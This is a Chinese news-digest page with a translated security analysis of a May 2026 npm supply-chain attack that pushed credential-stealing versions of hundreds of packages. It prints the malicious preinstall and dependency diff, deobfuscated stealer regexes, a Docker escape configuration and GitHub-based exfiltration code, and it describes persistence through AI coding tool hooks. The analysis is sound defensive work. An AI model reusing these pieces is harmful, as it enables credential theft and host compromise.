Mini Shai-Hulud再次来袭:314个npm包遭入侵

Hacker News Top 新闻

摘要

npm账户'atool'被入侵,导致317个包中发布了637个恶意版本。该载荷窃取凭据,通过AI编码工具和系统服务建立持久化,并通过GitHub外泄数据。

暂无内容
查看原文
查看缓存全文

缓存时间: 2026/05/19 10:01

# Mini Shai-Hulud 再次出击:317 个 npm 包被攻陷 来源:https://safedep.io/mini-shai-hulud-strikes-again-314-npm-packages-compromised/ •2026年5月19日•阅读时间 26 分钟 ### 目录 ## 摘要 npm 账户 `atool`(`[email protected]`)于 2026 年 5 月 19 日被攻陷。攻击者在 22 分钟的自动化爆发中,向 317 个包发布了 637 个恶意版本。受影响的包包括 `size-sensor`(月下载量 420 万)、`echarts-for-react`(380 万)、`@antv/scale`(220 万)、`timeago.js`(115 万),以及数百个 `@antv` 作用域包。载荷是一个 498KB 的混淆 Bun 脚本,与三周前 SAP 入侵事件中使用的 **Mini Shai-Hulud 工具包**(https://safedep.io/mini-shai-hulud-and-sap-compromise)完全匹配:相同的扫描器架构、相同的凭证正则集、相同的混淆模式。其目标是窃取整个 AWS 链的凭证(环境变量、配置文件、EC2 IMDS、ECS 容器元数据、Secrets Manager)、Kubernetes 服务账户令牌、HashiCorp Vault、GitHub PAT、npm 令牌、SSH 密钥等。被盗数据通过将内容作为 Git 对象提交到使用被盗令牌创建的公共 GitHub 仓库进行外泄,User-Agent 伪造为 `python-requests/2.31.0`。 在 CI 环境中,载荷会交换 GitHub Actions OIDC 令牌以获取 npm 发布令牌,利用 Sigstore(Fulcio + Rekor)使用被盗身份对制品签名,并将持久化注入到 `.github/workflows/codeql.yml` 中。 载荷通过注入 `SessionStart` 钩子劫持 Claude Code 和 Codex,该钩子在每次 AI 会话中重新执行恶意软件,既在本地执行,也通过提交到可访问的 GitHub 仓库执行。VS Code 则通过 `tasks.json` 中的 `"runOn": "folderOpen"` 实现相同效果。 一个持久的 systemd 服务 / macOS LaunchAgent(`kitty-monitor`)安装了一个 GitHub 死信 C2 后门:一个 Python 守护进程,每小时轮询 GitHub 的 commit search API,寻找包含关键字 `firedalazer` 的 commit 消息中经 RSA-PSS 签名的命令,然后从签名 URL 下载并执行任意 Python 代码。另一个 `gh-token-monitor` 守护进程以 60 秒间隔轮询被盗的 GitHub 令牌。 载荷还尝试通过主机 socket 进行 Docker 容器逃逸,并将感染传播到本地其他 Node.js 项目。 攻击使用了两种执行路径。每个被攻陷的版本都添加了一个 `preinstall` 钩子(`bun run index.js`)。637 个版本中的 630 个还向 `antvis/G2` GitHub 仓库的 **冒名提交**(https://safedep.io/mini-shai-hulud-strikes-again-314-npm-packages-compromised/#imposter-commits-in-antvisg2)注入了一个 `optionalDependencies` 条目。这些是孤立提交,作者身份伪造,在仓库的分支历史中不可见,利用 GitHub 的 fork 对象共享机制,在不需对目标仓库有任何写入权限的情况下托管载荷的第二个副本。npm 的 `github:` 依赖解析会按 SHA 获取并执行其内容。 **影响:** - 使用 semver 范围(例如 `echarts-for-react` 的 `^3.0.6`)的项目会自动解析到被攻陷的版本 - 凭证窃取目标包括:npm 令牌、GitHub PAT、AWS 密钥(完整凭证链,含 EC2 元数据和 ECS 容器凭据)、GCP 服务账户、Azure 凭证、数据库连接字符串、Stripe 密钥、Slack 令牌、SSH 密钥、Docker 认证、Kubernetes 服务账户令牌和 HashiCorp Vault 令牌 - 外泄数据被提交到使用被盗令牌账户创建的公共 GitHub 仓库,利用 GitHub API 作为 C2 通道,User-Agent 伪装为 `python-requests/2.31.0` - CI 中的 npm OIDC 令牌交换使攻击者能够使用流水线自身的身份获取发布令牌 - 使用被盗 OIDC 令牌进行 Sigstore 签名,可创建具有伪造来源的合法签名制品 - Docker socket 访问支持通过主机文件系统 bind mount 进行特权容器逃逸 - CI/CD 持久化通过注入 `.github/workflows/codeql.yml`(命名为 “Run Copilot”)实现,将 `toJSON(secrets)` 转储为 GitHub Actions 制品,然后通过删除工作流运行并重置分支进行自我清理 - AI 代理劫持:Claude Code 的 `SessionStart` 钩子、Codex 钩子以及 VS Code 的 `"runOn": "folderOpen"` 任务,均触发一个 Bun 引导程序重新执行载荷 - 持久的 systemd 用户服务和 macOS LaunchAgent:`kitty-monitor` 运行一个 GitHub 死信 C2 后门,接受通过 GitHub commit 搜索发送的 RSA 签名远程命令;`gh-token-monitor` 以 60 秒间隔轮询被盗令牌 - 本地项目感染将载荷文件及钩子复制到同一机器上的其他 Node.js 项目 - 通过 GitHub 冒名提交实现的载荷冗余交付,即使 `preinstall` 钩子被阻止也能存活 **入侵指标(IoC):** - 任何由 `atool`(`[email protected]`)于 2026-05-19 在 01:44 至 02:06 UTC 之间发布的包 - `preinstall` 脚本:`bun run index.js` - 载荷 SHA256:`a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c` - `antvis/G2` 中的冒名提交(孤立提交,伪造作者,消息为 “New Package”): - `1916faa365f2788b6e193514872d51a242876569`(626 个版本) - `7cb42f57561c321ecb09b4552802ae0ac55b3a7a`(2 个版本) - `dc3d62a2181beb9f326952a2d212900c94f2e13d`(1 个版本,已被垃圾回收) - 可选依赖:`@antv/setup: github:antvis/G2#<commit>` - 外泄仓库匹配 Dune 主题命名模式 `{word1}-{word2}-{number}`,其中 word1 为:`sardaukar`、`mentat`、`fremen`、`atreides`、`harkonnen`、`gesserit`、`prescient`、`fedaykin`、`tleilaxu`、`siridar`、`kanly`、`sayyadina`、`ghola`、`powindah`、`prana`、`kralizec`;word2 为:`sandworm`、`ornithopter`、`heighliner`、`stillsuit`、`lasgun`、`sietch`、`melange`、`thumper`、`navigator`、`fedaykin`、`futar`、`phibian`、`slig`、`cogitor`、`laza`、`ghola`;数字为 0-999。描述:“Shai-Hulud: Here We Go Again”(在源码中反转) - 对 `169.254.169.254`(EC2 元数据)和 `169.254.170.2`(ECS 容器元数据)的 HTTP 请求 - 在受影响的令牌可访问的仓库中,分支名为 `chore/add-codeql-static-analysis` - `.github/workflows/codeql.yml`,工作流名称为 `Run Copilot`,将 `toJSON(secrets)` 转储到 `format-results.txt` - `.claude/settings.json` 包含运行 `node .claude/setup.mjs` 的 `SessionStart` 钩子 - `.vscode/tasks.json` 包含调用 `.claude/setup.mjs` 的 `"runOn": "folderOpen"` 任务 - `.claude/setup.mjs` 或 `.vscode/setup.mjs`(Bun 引导程序,从 GitHub 下载 bun v1.3.14) - systemd 用户服务 `kitty-monitor.service` 或 LaunchAgent `com.user.kitty-monitor.plist` - `gh-token-monitor` 守护进程位于 `~/.local/bin/gh-token-monitor.sh` - 文件位于 `~/.local/share/kitty/cat.py`(GitHub 死信 C2 后门) - 状态文件 `/var/tmp/.gh_update_state`(C2 执行跟踪) - GitHub commits 中包含关键字 `firedalazer`(C2 命令触发) - Commit 消息中经 RSA-PSS 签名的命令:`firedalazer <url>` 如果您正在审计锁文件或在受影响机器上重新安装,**Package Manager Guard (pmg)**(https://github.com/safedep/pmg)是一个开源安装代理,可在 `preinstall` 脚本运行之前根据威胁情报评估包。其 **依赖冷却**(https://github.com/safedep/pmg/blob/main/docs/dependency-coolndown.md)功能可以拒绝在可配置窗口内发布的版本,这有助于抵御像 5 月 19 日那样的爆发,其中 semver 范围仍然会解析到刚发布的恶意版本。 ## 分析 ### 账户沦陷与影响范围 `atool` npm 账户维护着 547 个包。攻击者在两轮自动爆发中向其中 314 个包发布了 637 个恶意版本,均发生在 2026 年 5 月 19 日: | 波次 | 时间(UTC) | 发布的版本数 | 模式 | |------|-------------|--------------|------| | 第一次 | 01:39 - 01:56 | ~317 个版本 | 初始爆发,01:39-01:49 有 4 个早期测试发布 | | 第二次 | 02:05 - 02:06 | ~314 个版本 | 在相同包上进行的第二轮版本升级 | 大多数包(309 个)恰好收到 2 个恶意版本,每波一个。四个包(`size-sensor`、`echarts-for-react`、`jest-canvas-mock`、`jest-date-mock`)收到 3 个版本,表明它们被用于批量发布前的早期测试。 受影响的高影响力包样本(省略具体列表,原文有表格,但翻译中需保留格式)。攻击者没有移动大多数包的 `latest` dist-tag。对于 `echarts-for-react`,`latest` 仍指向 `3.0.6`。这并不能提供保护:npm 的 semver 解析会选择与范围匹配的最高版本,无论 `latest` 标签如何。任何在 `package.json` 中有 `"echarts-for-react": "^3.0.6"` 的项目,在下一次干净安装时都会解析到 `3.2.7`(恶意版本)。 ### 执行触发 每个被攻陷的版本只对 `package.json` 做两处更改: ```json // package.json diff (size-sensor 1.0.3 → 1.1.4) "version": "1.0.3", "version": "1.1.4", "scripts": { ... "build": "npm run build:umd && npm run build:lib && limit-size" "build": "npm run build:umd && npm run build:lib && limit-size", "preinstall": "bun run index.js" }, "optionalDependencies": { "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569" }, ``` `preinstall` 钩子在安装任何依赖之前运行,并且需要 Bun 作为运行时。637 个恶意版本中的 630 个还注入了一个 `optionalDependencies` 条目,通过合法的 `antvis/G2` GitHub 仓库交付载荷的第二个副本(见下文 **antvis/G2 中的冒名提交**)。 ### 恶意载荷 `index.js` 文件是一个单行、498KB 的混淆 Bun 捆绑包。其结构与三周前 SAP 入侵事件中的 **Mini Shai-Hulud 载荷**(https://safedep.io/mini-shai-hulud-and-sap-compromise)完全匹配:相同的 Bun 运行时要求、相同的十六进制变量混淆模式、相同的扫描器架构(具有 100KB 刷新阈值)、相同的凭证正则集。 载荷使用两层混淆:一个十六进制变量字符串查找表(从数组 `_0x5e03` 解析出 `_0x1169`)和一个加密字符串解码器(`fc2edea72`),它使用 base64 + XOR 对所有敏感字符串(如环境变量名称、文件路径和 C2 URL)进行解码。 导入语句揭示了全部功能范围: ```javascript // index.js — 提取的导入语句 import { execSync } from 'child_process'; import { spawn } from 'child_process'; import { homedir } from 'os'; import { readFile, readFileSync, writeFileSync, createWriteStream } from 'fs'; import { createHash, createDecipheriv, pbkdf2Sync, generateKeyPairSync, sign } from 'crypto'; import { pipeline } from 'stream/promises'; ``` 载荷的主函数 `J2()` 通过扫描器架构编排攻击。它实例化多个扫描器类,每个针对不同的凭证类型,并通过一个具有 100KB 刷新阈值的批处理发送器(`Po`)分发结果。一个 CI 环境检测模块通过环境变量检查 20 多个平台:GitHub Actions(`GITHUB_ACTIONS`)、Jenkins(`JENKINS_URL`、`JENKINS_HOME`)、GitLab CI(`GITLAB_CI`)、CircleCI(`CIRCLECI`)、Travis(`TRAVIS`)、Buildkite(`BUILDKITE`)、Drone(`DRONE`)、TeamCity(`TEAMCITY_VERSION`)、AppVeyor(`APPVEYOR`)、Bitbucket Pipelines(`BITBUCKET_BUILD_NUMBER`)、Bitrise(`BITRISE_IO`)、Semaphore(`SEMAPHORE`)、CodeBuild(`CODEBUILD_BUILD_ID`)、Azure DevOps(`BUILD_BUILDURI`)、Cirrus CI(`CIRRUS_CI`)、Netlify(`NETLIFY`)、Vercel(`VERCEL`)、CF Pages(`CF_PAGES`)、Buddy(`BUDDY_WORKSPACE_ID`)、Vela(`VELA`)、Screwdriver(`SCREWDRIVER`)、SailCI(`SAILCI`)、Wercker(`WERCKER_MAIN_PIPELINE_STARTED`)、Shippable(`SHIPPABLE`)、Distelli(`DISTELLI_APPNAME`)以及 JetBrains Space(`JB_SPACE_EXECUTION_NUMBER`)。当在 GitHub Actions 中运行时,还会激活额外的数据收集:工作流运行、制品、秘密元数据和 OIDC 令牌交换。 ### 凭证窃取 载荷读取 80 多个环境变量(所有名称通过 `fc2edea72` 加密)并使用正则模式扫描文件内容。正则集揭示了攻击者的目标: ```javascript // index.js — 凭证检测模式(从扫描器类提取) 'ghtoken': /gh[op]_[A-Za-z0-9]{36,}/g, 'npmtoken': /npm_[A-Za-z0-9]{36,}/g, 'ghs_jwt': /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g, 'awskey': /(AKIA[0-9A-Z]{16}|aws_access_key_id["\s:=]+["']?[A-Z0-9]{20})/g, 'gcpKey': /* 已加密 — 目标 GCP 服务账户密钥 */, 'azureKey': /(AccountKey|accessKey|client_secret)["\s:=]+["']?[A-Za-z0-9+/=]{40,}/gi, 'dbConnStr': /(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s'"]+/gi, 'stripeKey': /(sk|pk)_(test|live)_[0-9a-zA-Z]{24,}/g, 'slackToken': /* 已加密 */, 'sshKey': /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g, 'dockerAuth': /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g, 'vaultToken': /hvs\.[A-Za-z0-9_-]{24,}/g, 'k8stoken': /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g, 'urlCred': /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g ``` 扫描器还会解析 AWS STS 身份响应,从 `GetCallerIdentity` 调用中提取 `<arn>` 和 `<UserId>` XML 标签。一个单独的文件扫描类(`zo`)读取 home 目录中的敏感路径。目标路径通过 `fc2edea72` 加密,但代码引用了路径映射中的 `LINUX` 键,并通过 `os.homedir()` 解析 `~`,瞄准了标准凭证位置:`.ssh`、`.aws/credentials`、`.npmrc`、`.docker/config.json`、`.kube/config` 和类似路径。 ### Docker 容器逃逸 载荷检查 Docker socket,如果存在,则通过三种顺序方法尝试容器逃逸: ```javascript // index.js — 反混淆后的攻击链 async function S1() { if (await P2()) return true; // 直接 Docker API:创建容器 if (await W2()) return true; // Docker API:创建并启动容器 if (await K2()) return true; // execSync 回退 return false; } ``` `C2()` 函数(并非 “命令与控制” 函数,而是容器配置构建器)构造一个具有主机 bind mount 的特权 Docker 容器: ```javascript // index.js — 反混淆后的容器配置 function C2() { return { 'Image': /* 已加密 */, 'Cmd': ['sh', '-c', /* 已加密命令 */], 'HostConfig': { 'Privileged': true, 'Binds': [/* 已加密 — 主机文件系统挂载 */], 'AutoRemove': true } }; } ``` 容器以 `Privileged: true` 和 `AutoRemove: true` 运行,意味着它能获得完全的主机访问权限并在执行后自我清理。`sr()` 函数通过使用 `statSync().isSocket()` 检查 socket 文件(很可能是 `/var/run/docker.sock`)来与 Docker 守护进程通信,然后通过 Unix socket 发起 HTTP 请求。 ### C2 与外泄 载荷不会回连到攻击者控制的服务器。它使用 GitHub 自身的 API 作为外泄通道,使传出流量与正常开发者工具难以区分。 #### GitHub API 作为 C2 C2 基础 URL 和 User-Agent 均从 `fc2edea72` 层解密: ```javascript // index.js — 反混淆后的 C2 核心 var o8 = 'https://api.github.com'; // fc2edea72 解密 var g8 = 'python-requests/2.31.0'; // fc2edea72 解密 function cg(token) { let headers = { Accept: 'application/vnd.github+json', 'User-Agent': g8, }; if (token) headers['Authorization'] = 'Bearer ' + token; return headers; } async function X(token, path, options = {}) { return fetch('' + o8 + path, { ...options, headers: { ...cg(token), ...options.headers } }); } ``` 每个 API 调用都通过 `X()` 路由。第二个包装函数 `U()` 添加了错误处理和 JSON 解析。User-Agent `python-requests/2.31.0` 将流量伪装成 Python HTTP 库,使其在网络日志中与合法 API 调用混为一体。 #### 外泄管道 管道分为三个阶段。 **第一阶段:令牌验证。** 载荷调用 `GET /user` 验证被盗的 GitHub 令牌,然后调用 `GET /user/orgs` 枚举组织。它检查 `x-oauth-scopes` 响应头中是否有 `repo` 和 `public_repo` 权限。具有 `repo` 作用域的令牌会激活 `_r` 发送器类(原文此处截断,但翻译应保留原样)。

相似文章

数十个Red Hat软件包通过其官方NPM渠道被植入后门

Ars Technica

数十个Red Hat软件包通过该公司官方NPM渠道被植入后门,攻击者利用Shai-Hulud蠕虫通过GitHub Actions OIDC入侵了Red Hat的CI/CD管道。Red Hat已移除恶意软件包,并声明它们仅用于内部,但此次攻击凸显了日益升级的供应链风险。

数周内第二次,微软软件包被植入凭据窃取器

Ars Technica

数周内第二次,微软已验证的开源软件包被植入了凭据窃取恶意软件,影响GitHub上的73个软件包。该攻击与威胁行为者TeamPCP有关,利用被盗的OIDC令牌,并通过云基础设施横向传播。

事故复盘:TanStack npm 供应链入侵事件

Lobsters Hottest

本文详细复盘了针对 TanStack npm 包的供应链攻击事件,涉及缓存投毒、OIDC 令牌提取及凭证窃取恶意软件。所有受影响版本均已弃用;建议用户轮换凭证。